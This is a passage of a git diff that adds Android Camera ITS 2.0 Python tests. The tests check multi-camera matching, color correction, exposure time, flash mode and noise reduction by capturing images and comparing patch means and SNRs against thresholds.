+          assert spread < threshold, e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_multi_camera_match.py b/apps/CameraITS2.0/tests/scene1_1/test_multi_camera_match.py
new file mode 100644
index 0000000..d47920c
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_multi_camera_match.py
@@ -0,0 +1,143 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_PATCH_H = 0.0625  # 1/16 x 1/16 in center of image
+_PATCH_W = 0.0625
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_THRESH_DIFF = 0.06
+_THRESH_GAIN = 0.1
+_THRESH_EXP = 0.05
+
+
+class MultiCameraMatchTest(its_base_test.ItsBaseTest):
+  """Test both cameras give similar RGB values for gray patch.
+
+  This test uses android.lens.info.availableFocalLengths to determine
+  subcameras. The test will take images of the gray chart for each cameras,
+  crop the center patch, and compare the Y (of YUV) means of the two images.
+  Y means must be within _THRESH_DIFF for the test to pass.
+
+  Cameras that use android.control.zoomRatioRange will have only 1 focal
+  length and will need separate test.
+  """
+
+  def test_multi_camera_match(self):
+    logging.debug('Starting %s', _NAME)
+    yuv_sizes = {}
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.logical_multi_camera(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      ids = camera_properties_utils.logical_multi_camera_physical_ids(props)
+      for i in ids:
+        physical_props = cam.get_camera_properties_by_id(i)
+        camera_properties_utils.skip_unless(
+            not camera_properties_utils.mono_camera(physical_props) and
+            camera_properties_utils.backward_compatible(physical_props))
+        yuv_sizes[i] = capture_request_utils.get_available_output_sizes(
+            'yuv', physical_props)
+        if i == ids[0]:  # get_available_output_sizes returns sorted list
+          yuv_match_sizes = yuv_sizes[i]
+        else:
+          yuv_match_sizes = list(
+              set(yuv_sizes[i]).intersection(yuv_match_sizes))
+
+      # find matched size for captures
+      yuv_match_sizes.sort()
+      w = yuv_match_sizes[-1][0]
+      h = yuv_match_sizes[-1][1]
+      logging.debug('Matched YUV size: (%d, %d)', w, h)
+
+      # do 3a and create requests
+      cam.do_3a()
+      reqs = []
+      avail_fls = sorted(props['android.lens.info.availableFocalLengths'],
+                         reverse=True)
+      # SKIP test if only 1 focal length
+      camera_properties_utils.skip_unless(len(avail_fls) > 1)
+
+      for i, fl in enumerate(avail_fls):
+        reqs.append(capture_request_utils.auto_capture_request())
+        reqs[i]['android.lens.focalLength'] = fl
+        if i > 0:
+          # Calculate the active sensor region for a non-cropped image
+          zoom = avail_fls[0] / fl
+          aa = props['android.sensor.info.activeArraySize']
+          aa_w, aa_h = aa['right'] - aa['left'], aa['bottom'] - aa['top']
+
+          # Calculate a center crop region.
+          assert zoom >= 1
+          crop_w = aa_w // zoom
+          crop_h = aa_h // zoom
+          crop_region = {'left': aa_w // 2 - crop_w // 2,
+                         'top': aa_h // 2 - crop_h // 2,
+                         'right': aa_w // 2 + crop_w // 2,
+                         'bottom': aa_h // 2 + crop_h // 2}
+          reqs[i]['android.scaler.cropRegion'] = crop_region
+
+      # capture YUVs
+      y_means = {}
+      e_msg = ''
+      fmt = [{'format': 'yuv', 'width': w, 'height': h}]
+      caps = cam.do_capture(reqs, fmt)
+      for i, fl in enumerate(avail_fls):
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            caps[i], props=props)
+        image_processing_utils.write_image(img, '%s_yuv_fl=%s.jpg' % (
+            os.path.join(log_path, _NAME), fl))
+        y, _, _ = image_processing_utils.convert_capture_to_planes(
+            caps[i], props=props)
+        y_mean = image_processing_utils.compute_image_means(
+            image_processing_utils.get_image_patch(
+                y, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H))[0]
+        msg = 'y[%s]: %.3f, ' % (fl, y_mean)
+        logging.debug(msg)
+        e_msg += msg
+        y_means[fl] = y_mean
+
+      # compare Y means
+      e_msg += 'TOL=%.5f' % _THRESH_DIFF
+      assert np.isclose(max(y_means.values()), min(y_means.values()),
+                        rtol=_THRESH_DIFF), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_param_color_correction.py b/apps/CameraITS2.0/tests/scene1_1/test_param_color_correction.py
new file mode 100644
index 0000000..dc37d7b
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_param_color_correction.py
@@ -0,0 +1,165 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+CC_XFORM_BOOST_B = [1, 0, 0,
+                    0, 1, 0,
+                    0, 0, 2]  # blue channel 2x
+CC_XFORM_UNITY = [1, 0, 0,
+                  0, 1, 0,
+                  0, 0, 1]  # all channels equal
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+RAW_GAIN_BOOST_R = [2, 1, 1, 1]  # red channel 2x
+RAW_GAIN_UNITY = [1, 1, 1, 1]  # all channels equal
+RGB_DIFF_THRESH = 0.1  # threshold for differences in asserts
+RGB_RANGE_THRESH = 0.2  # 0.2 < mean < 0.8 to avoid dark or saturated imgs
+
+
+class ParamColorCorrectionTest(its_base_test.ItsBaseTest):
+  """Test that the android.colorCorrection.* params are applied when set.
+
+  Takes shots with different transform and gains values, and tests that
+  they look correspondingly different. The transform and gains are chosen
+  to make the output go redder or bluer.
+
+  Uses a linear tonemap.
+  """
+
+  def test_param_color_correction(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          not camera_properties_utils.mono_camera(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Define format
+      sync_latency = camera_properties_utils.sync_latency(props)
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+
+      # Define baseline request
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midSensitivity']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+      req['android.colorCorrection.mode'] = 0
+
+      # Define transforms
+      transforms = [capture_request_utils.int_to_rational(CC_XFORM_UNITY),
+                    capture_request_utils.int_to_rational(CC_XFORM_UNITY),
+                    capture_request_utils.int_to_rational(CC_XFORM_BOOST_B)]
+
+      # Define RAW gains:
+      gains = [RAW_GAIN_UNITY,
+               RAW_GAIN_BOOST_R,
+               RAW_GAIN_UNITY]
+
+      # Capture requests:
+      # 1. With unit gains, and identity transform.
+      # 2. With a higher red gain, and identity transform.
+      # 3. With unit gains, and a transform that boosts blue.
+      r_means = []
+      g_means = []
+      b_means = []
+      capture_idxs = range(len(transforms))
+      for i in capture_idxs:
+        req['android.colorCorrection.transform'] = transforms[i]
+        req['android.colorCorrection.gains'] = gains[i]
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(img, '%s_req=%d.jpg' % (
+            os.path.join(log_path, NAME), i))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
+        ratios = [rgb_means[0] / rgb_means[1], rgb_means[2] / rgb_means[1]]
+        logging.debug('Means: %s,  Ratios: %s', str(rgb_means), str(ratios))
+
+      # Draw a plot
+      pylab.figure(NAME)
+      for ch, means in enumerate([r_means, g_means, b_means]):
+        pylab.plot(capture_idxs, means, '-'+'rgb'[ch]+'o')
+      pylab.xticks(capture_idxs)
+      pylab.ylim([0, 1])
+      pylab.title(NAME)
+      pylab.xlabel('Cap Index [Unity, R boost, B boost]')
+      pylab.ylabel('RGB patch means')
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(log_path, NAME))
+      # Ensure that image is not clamped to white/black.
+      if not all(RGB_RANGE_THRESH < g_means[i] < 1.0-RGB_RANGE_THRESH
+                 for i in capture_idxs):
+        raise AssertionError('Image too dark/bright! Check setup.')
+
+      # Expect G0 == G1 == G2, R0 == 0.5*R1 == R2, B0 == B1 == 0.5*B2
+      # assert planes in caps expected to be equal
+      if abs(g_means[1] - g_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('G[0] vs G[1] too different. '
+                             f'[0]: {g_means[0]:.3f}, [1]: {g_means[1]:.3f}')
+      if abs(g_means[2] - g_means[1]) > RGB_DIFF_THRESH:
+        raise AssertionError('G[1] vs G[2] too different. '
+                             f'[1]: {g_means[1]:.3f}, [2]: {g_means[2]:.3f}')
+      if abs(r_means[2] - r_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('R[0] vs R[2] too different. '
+                             f'[0]: {r_means[0]:.3f}, [2]: {r_means[2]:.3f}')
+      if abs(b_means[1] - b_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('B[0] vs B[1] too different. '
+                             f'[0]: {b_means[0]:.3f}, [1]: {b_means[1]:.3f}')
+
+      # assert boosted planes in caps
+      if abs(r_means[1] - 2*r_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('R[1] not boosted enough or too much. '
+                             f'[0]: {r_means[0]:.4f}, [1]: {r_means[1]:.4f}')
+      if abs(b_means[2] - 2*b_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('B[2] not boosted enough or too much. '
+                             f'[0]: {b_means[0]:.4f}, [2]: {b_means[2]:.4f}')
+
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_param_exposure_time.py b/apps/CameraITS2.0/tests/scene1_1/test_param_exposure_time.py
new file mode 100644
index 0000000..920b5c3
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_param_exposure_time.py
@@ -0,0 +1,108 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+COLORS = ['R', 'G', 'B']
+EXP_MULT_FACTORS = [0.8, 0.9, 1.0, 1.1, 1.2]  # vary exposure +/- 20%
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+
+
+class ParamExposureTimeTest(its_base_test.ItsBaseTest):
+  """Test that the android.sensor.exposureTime parameter is applied."""
+
+  def test_param_exposure_time(self):
+    logging.debug('Starting %s', NAME)
+    exp_times = []
+    r_means = []
+    g_means = []
+    b_means = []
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create requests
+      sync_latency = camera_properties_utils.sync_latency(props)
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+
+      # Do captures & process images
+      for i, e_mult in enumerate(EXP_MULT_FACTORS):
+        req = capture_request_utils.manual_capture_request(
+            s, e * e_mult, 0.0, True, props)
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(
+            img, '%s_frame%d.jpg' % (os.path.join(log_path, NAME), i))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        exp_times.append(e * e_mult)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
+
+    # Draw plot
+    pylab.figure(NAME)
+    for ch, means in enumerate([r_means, g_means, b_means]):
+      pylab.plot(exp_times, means, '-'+'rgb'[ch]+'o')
+    pylab.ylim([0, 1])
+    pylab.title(NAME)
+    pylab.xlabel('Exposure times (ns)')
+    pylab.ylabel('RGB means')
+    plot_name = '%s_plot_means.png' % os.path.join(log_path, NAME)
+    matplotlib.pyplot.savefig(plot_name)
+
+    # Assert each shot is brighter than previous.
+    for ch, means in enumerate([r_means, g_means, b_means]):
+      for i in range(len(EXP_MULT_FACTORS)-1):
+        e_msg = '%s [i+1]: %.4f, [i]: %.4f' % (COLORS[ch], means[i+1], means[i])
+        assert means[i+1] > means[i], e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_param_flash_mode.py b/apps/CameraITS2.0/tests/scene1_1/test_param_flash_mode.py
new file mode 100644
index 0000000..d075fd5
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_param_flash_mode.py
@@ -0,0 +1,149 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+FLASH_MODES = {'OFF': 0, 'SINGLE': 1, 'TORCH': 2}
+FLASH_STATES = {'UNAVAIL': 0, 'CHARGING': 1, 'READY': 2, 'FIRED': 3,
+                'PARTIAL': 4}
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.25  # center 25%
+PATCH_W = 0.25
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+GRADIENT_DELTA = 0.1  # used for tablet setups (tablet screen aborbs energy)
+Y_RELATIVE_DELTA_FLASH = 0.1  # 10%  # used for reflective chart setups
+Y_RELATIVE_DELTA_TORCH = 0.05  # 5%  # used for reflective chart setups
+
+
+class ParamFlashModeTest(its_base_test.ItsBaseTest):
+  """Test that the android.flash.mode parameter is applied."""
+
+  def test_param_flash_mode(self):
+    logging.debug('Starting %s', NAME)
+    logging.debug('FLASH_MODES[OFF]: %d, [SINGLE]: %d, [TORCH]: %d',
+                  FLASH_MODES['OFF'], FLASH_MODES['SINGLE'],
+                  FLASH_MODES['TORCH'])
+    logging.debug(('FLASH_STATES[UNAVAIL]: %d, [CHARGING]: %d, [READY]: %d,'
+                   '[FIRED] %d, [PARTIAL]: %d'), FLASH_STATES['UNAVAIL'],
+                  FLASH_STATES['CHARGING'], FLASH_STATES['READY'],
+                  FLASH_STATES['FIRED'], FLASH_STATES['PARTIAL'])
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.flash(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      modes = []
+      states = []
+      means = []
+      grads = []
+
+      # Manually set the exposure to be a little on the dark side, so that
+      # it should be obvious whether the flash fired or not, and use a
+      # linear tonemap.
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      sync_latency = camera_properties_utils.sync_latency(props)
+
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      e /= 2  # darken image slightly
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+
+      for f in FLASH_MODES.values():
+        req['android.flash.mode'] = f
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        modes.append(cap['metadata']['android.flash.mode'])
+        states.append(cap['metadata']['android.flash.state'])
+        y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+        image_processing_utils.write_image(
+            y, '%s_%d.jpg' % (os.path.join(log_path, NAME), f))
+        patch = image_processing_utils.get_image_patch(
+            y, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        image_processing_utils.write_image(
+            patch, '%s_%d_patch.jpg' % (os.path.join(log_path, NAME), f))
+        means.append(image_processing_utils.compute_image_means(patch)[0])
+        grads.append(image_processing_utils.compute_image_max_gradients(
+            patch)[0])
+
+      # Assert state behavior
+      logging.debug('Reported modes: %s', str(modes))
+      logging.debug('Reported states: %s', str(states))
+      assert modes == list(FLASH_MODES.values()), str(modes)
+
+      e_msg = 'flash state reported[OFF]: %d' % states[FLASH_MODES['OFF']]
+      assert states[FLASH_MODES['OFF']] not in [
+          FLASH_STATES['FIRED'], FLASH_STATES['PARTIAL']], e_msg
+
+      e_msg = 'flash state reported[SINGLE]: %d' % states[FLASH_MODES['SINGLE']]
+      assert states[FLASH_MODES['SINGLE']] in [
+          FLASH_STATES['FIRED'], FLASH_STATES['PARTIAL']], e_msg
+
+      e_msg = 'flash state reported[TORCH]: %d' % states[FLASH_MODES['TORCH']]
+      assert states[FLASH_MODES['TORCH']] in [
+          FLASH_STATES['FIRED'], FLASH_STATES['PARTIAL']], e_msg
+
+      # Assert image behavior: change between OFF & SINGLE
+      logging.debug('Brightness means: %s', str(means))
+      logging.debug('Max gradients: %s', str(grads))
+      grad_delta = grads[FLASH_MODES['SINGLE']] - grads[FLASH_MODES['OFF']]
+      mean_delta = ((means[FLASH_MODES['SINGLE']] - means[FLASH_MODES['OFF']]) /
+                    means[FLASH_MODES['OFF']])
+      e_msg = 'gradient SINGLE-OFF: %.3f, ATOL: %.3f' % (
+          grad_delta, GRADIENT_DELTA)
+      e_msg += ' mean SINGLE:OFF %.3f, ATOL: %.3f' % (
+          mean_delta, Y_RELATIVE_DELTA_FLASH)
+      assert (grad_delta > GRADIENT_DELTA or
+              mean_delta > Y_RELATIVE_DELTA_FLASH), e_msg
+
+      # Assert image behavior: change between OFF & TORCH
+      grad_delta = grads[FLASH_MODES['TORCH']] - grads[FLASH_MODES['OFF']]
+      mean_delta = ((means[FLASH_MODES['TORCH']] - means[FLASH_MODES['OFF']]) /
+                    means[FLASH_MODES['OFF']])
+      e_msg = 'gradient TORCH-OFF: %.3f, ATOL: %.3f' % (
+          grad_delta, GRADIENT_DELTA)
+      e_msg += ' mean TORCH:OFF %.3f, ATOL: %.3f' % (
+          mean_delta, Y_RELATIVE_DELTA_TORCH)
+      assert (grad_delta > GRADIENT_DELTA or
+              mean_delta > Y_RELATIVE_DELTA_TORCH), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_param_noise_reduction.py b/apps/CameraITS2.0/tests/scene1_1/test_param_noise_reduction.py
new file mode 100644
index 0000000..4567025
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_param_noise_reduction.py
@@ -0,0 +1,200 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+COLORS = ['R', 'G', 'B']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NR_MODES = {'OFF': 0, 'FAST': 1, 'HQ': 2, 'MIN': 3, 'ZSL': 4}
+NR_MODES_LIST = list(NR_MODES.values())
+NUM_COLORS = len(COLORS)
+NUM_FRAMES_PER_MODE = 4
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+SNR_TOLERANCE = 3  # unit in dB
+
+
+class ParamNoiseReductionTest(its_base_test.ItsBaseTest):
+  """Test that the android.noiseReduction.mode param is applied when set.
+
+  Capture images with the camera dimly lit.
+
+  Capture images with low gain and noise redcution off, and use the
+  variance of these captures as the baseline.
+
+  Use high analog gain on remaining tests to ensure captured images are noisy.
+  """
+
+  def test_param_noise_reduction(self):
+    logging.debug('Starting %s', NAME)
+    logging.debug('NR_MODES: %s', str(NR_MODES))
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.noise_reduction_mode(props, 0))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      snrs = [[], [], []]  # List of SNRs for R,G,B
+      ref_snr = []  # Reference (baseline) SNR for each of R,G,B
+      nr_modes_reported = []
+
+      # NR mode 0 with low gain
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['minSensitivity']
+      req = capture_request_utils.manual_capture_request(s, e)
+      req['android.noiseReduction.mode'] = 0
+      cap = cam.do_capture(req)
+      rgb_image = image_processing_utils.convert_capture_to_rgb_image(cap)
+      image_processing_utils.write_image(
+          rgb_image, '%s_low_gain.jpg' % os.path.join(log_path, NAME))
+      rgb_patch = image_processing_utils.get_image_patch(
+          rgb_image, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      ref_snr = image_processing_utils.compute_image_snrs(rgb_patch)
+      logging.debug('Ref SNRs: %s', str(ref_snr))
+
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['maxSensitivity']
+      for mode in NR_MODES_LIST:
+        # Skip unavailable modes
+        if not camera_properties_utils.noise_reduction_mode(props, mode):
+          nr_modes_reported.append(mode)
+          for channel in range(NUM_COLORS):
+            snrs[channel].append(0)
+          continue
+
+        rgb_snr_list = []
+        # Capture several images to account for per frame noise variations
+        for n in range(NUM_FRAMES_PER_MODE):
+          req = capture_request_utils.manual_capture_request(s, e)
+          req['android.noiseReduction.mode'] = mode
+          cap = cam.do_capture(req)
+          rgb_image = image_processing_utils.convert_capture_to_rgb_image(cap)
+          if n == 0:
+            nr_modes_reported.append(
+                cap['metadata']['android.noiseReduction.mode'])
+            image_processing_utils.write_image(
+                rgb_image, '%s_high_gain_nr=%d.jpg' % (
+                    os.path.join(log_path, NAME), mode))
+          rgb_patch = image_processing_utils.get_image_patch(
+              rgb_image, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+          rgb_snrs = image_processing_utils.compute_image_snrs(rgb_patch)
+          rgb_snr_list.append(rgb_snrs)
+
+        r_snrs = [rgb[0] for rgb in rgb_snr_list]
+        g_snrs = [rgb[1] for rgb in rgb_snr_list]
+        b_snrs = [rgb[2] for rgb in rgb_snr_list]
+        rgb_snrs = [np.mean(r_snrs), np.mean(g_snrs), np.mean(b_snrs)]
+        logging.debug('NR mode %s SNRs', mode)
+        logging.debug('R SNR: %.2f, Min: %.2f, Max: %.2f',
+                      rgb_snrs[0], min(r_snrs), max(r_snrs))
+        logging.debug('G SNR: %.2f, Min: %.2f, Max: %.2f',
+                      rgb_snrs[1], min(g_snrs), max(g_snrs))
+        logging.debug('B SNR: %.2f, Min: %.2f, Max: %.2f',
+                      rgb_snrs[2], min(b_snrs), max(b_snrs))
+
+        for chan in range(NUM_COLORS):
+          snrs[chan].append(rgb_snrs[chan])
+
+    # Draw plot
+    pylab.figure(NAME)
+    for j in range(NUM_COLORS):
+      pylab.plot(NR_MODES_LIST, snrs[j], '-'+'rgb'[j]+'o')
+    pylab.xlabel('Noise Reduction Mode')
+    pylab.ylabel('SNR (dB)')
+    pylab.xticks(NR_MODES_LIST)
+    matplotlib.pyplot.savefig('%s_plot_SNRs.png' % os.path.join(log_path, NAME))
+
+    assert nr_modes_reported == NR_MODES_LIST
+
+    for j in range(NUM_COLORS):
+      # Higher SNR is better
+      # Verify OFF is not better than FAST
+      e_msg = '%s OFF: %.3f, FAST: %.3f, TOL: %.3f' % (
+          COLORS[j], snrs[j][NR_MODES['OFF']], snrs[j][NR_MODES['FAST']],
+          SNR_TOLERANCE)
+      assert (snrs[j][NR_MODES['OFF']] < snrs[j][NR_MODES['FAST']] +
+              SNR_TOLERANCE), e_msg
+
+      # Verify FAST is not better than HQ
+      e_msg = '%s FAST: %.3f, HQ: %.3f, TOL: %.3f' % (
+          COLORS[j], snrs[j][NR_MODES['FAST']], snrs[j][NR_MODES['HQ']],
+          SNR_TOLERANCE)
+      assert (snrs[j][NR_MODES['FAST']] < snrs[j][NR_MODES['HQ']] +
+              SNR_TOLERANCE), e_msg
+
+      # Verify HQ is better than OFF
+      e_msg = '%s OFF: %.3f, HQ: %.3f' % (
+          COLORS[j], snrs[j][NR_MODES['OFF']], snrs[j][NR_MODES['HQ']])
+      assert snrs[j][NR_MODES['HQ']] > snrs[j][NR_MODES['OFF']], e_msg
+
+      if camera_properties_utils.noise_reduction_mode(props, NR_MODES['MIN']):
+        # Verify OFF is not better than MINIMAL
+        e_msg = '%s OFF: %.3f, MIN: %.3f, TOL: %.3f' % (
+            COLORS[j], snrs[j][NR_MODES['OFF']], snrs[j][NR_MODES['MIN']],
+            SNR_TOLERANCE)
+        assert (snrs[j][NR_MODES['OFF']] < snrs[j][NR_MODES['MIN']] +
+                SNR_TOLERANCE), e_msg
+
+        # Verify MINIMAL is not better than HQ
+        e_msg = '%s MIN: %.3f, HQ: %.3f, TOL: %.3f' % (
+            COLORS[j], snrs[j][NR_MODES['MIN']], snrs[j][NR_MODES['HQ']],
+            SNR_TOLERANCE)
+        assert (snrs[j][NR_MODES['MIN']] < snrs[j][NR_MODES['HQ']] +
+                SNR_TOLERANCE), e_msg
+
+        if camera_properties_utils.noise_reduction_mode(props, NR_MODES['ZSL']):
+          # Verify ZSL is close to MINIMAL
